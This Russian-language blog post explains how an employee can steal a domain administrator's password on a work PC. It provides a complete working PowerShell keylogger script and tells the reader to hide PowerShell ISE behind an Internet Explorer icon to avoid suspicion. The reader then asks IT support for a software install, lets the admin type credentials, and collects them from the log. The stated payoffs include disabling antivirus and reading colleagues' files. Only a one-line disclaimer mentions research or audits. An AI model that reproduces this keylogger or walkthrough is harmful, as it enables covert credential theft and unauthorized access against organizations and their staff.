⚙️Как получить админский пароль на рабочем ПК в домене Active Directory? |

⚙️Как получить админский пароль на рабочем ПК в домене Active Directory?

Обход запретов

Добрый день!

Сегодня расскажем про способ, с помощью которого мы можем получить админский пароль в домене Active Directory Вашей организации. Его можно использовать для установки, удаления софта, отключения антивируса, доступа ко многим корпоративным ресурсам домена, доступ к документам других пользователей на их ПК и многое другое вкусное. Ну обо всем по порядку.

Для начала находим местоположения ярлыка установленного окружения PowerShell ISE. Обычно он располагается по адресу C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell, находим файл Windows PowerShell ISE и в свойствах, на вкладке ярлык меняем его ярлык на что-нибудь неприметное, например иконку папки или иконку разрешенного в организации программного обеспечения в формате *.ico, например 1C.   Я укажу ярлык браузера IE, так как он есть у каждого и зачастую не запрещен в использовании политиками безопасности, так как большинство государственных сайтов корректного работает на стороне клиента только на нем. Теперь после запуска в панели меню пуск будет отображаться иконка IE, что не вызовет подозрений.

 

 

 

 

Затем открываем Windows PowerShell ISE и копируем код скрипт кейлогера:

#requires -Version 2

function Start-KeyLogger($Path="$env:temp\keylogger.txt") 

{

  # Signatures for API Calls

  $signatures = @'

[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] 

public static extern short GetAsyncKeyState(int virtualKeyCode); 

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int GetKeyboardState(byte[] keystate);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int MapVirtualKey(uint uCode, int uMapType);

[DllImport("user32.dll", CharSet=CharSet.Auto)]

public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);

'@

  # load signatures and make members available

  $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru

  
  # create output file

  $null = New-Item -Path $Path -ItemType File -Force

  try

  {

    Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red




    # create endless loop. When user presses CTRL+C, finally-block

    # executes and shows the collected key presses

    while ($true) {

      Start-Sleep -Milliseconds 40

      

      # scan all ASCII codes above 8

      for ($ascii = 9; $ascii -le 254; $ascii++) {

        # get current key state

        $state = $API::GetAsyncKeyState($ascii)




        # is key pressed?

        if ($state -eq -32767) {

          $null = [console]::CapsLock




          # translate scan code to real code

          $virtualKey = $API::MapVirtualKey($ascii, 3)




          # get keyboard state for virtual keys

          $kbstate = New-Object Byte[] 256

          $checkkbstate = $API::GetKeyboardState($kbstate)




          # prepare a StringBuilder to receive input key

          $mychar = New-Object -TypeName System.Text.StringBuilder




          # translate virtual key

          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)




          if ($success) 

          {

            # add key to logger file

            [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) 

          }

        }

      }

    }

  }

  finally

  {

    # open logger file in Notepad

    notepad $Path

  }

}




# records all key presses until script is aborted by pressing CTRL+C

# will then open the file with collected key codes

Start-KeyLogger

Теперь создаем заявку на установку программного обеспечения или просим админа установить нам какую-нибудь легитимную программу. Перед тем как админ подключиться к Вам удаленно или придет очно для указанной работы, запускаем наш скрипт командой Выполнить сценарий или кнопкой F5 и сворачиваем окно:

 

 

Админ находит подготовленный установочный файл и распускает его под своей УЗ:

 

 

После установки ПО и прощания с товарищем из технической поддержки или админом нажимаем сочетание клавиш “Ctrl+C” и получаем учетные данные в открывшим файле блокнота:

 

 

 

 

¯\_(ツ)_/¯
    Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
Пожалуйста, не спамьте и никого не оскорбляйте. Это поле для комментариев, а не спамбокс. Рекламные ссылки не индексируются!
Добавить комментарий для Сергей Отменить ответ

  1. Сергей

    Если на компе установлен антивирус он отловит такой скрипт?
    Для запуска скрипта не нужно, что бы пользователь был локальный админ на компе, и повышения прав он тоже не запросит?

    Ответить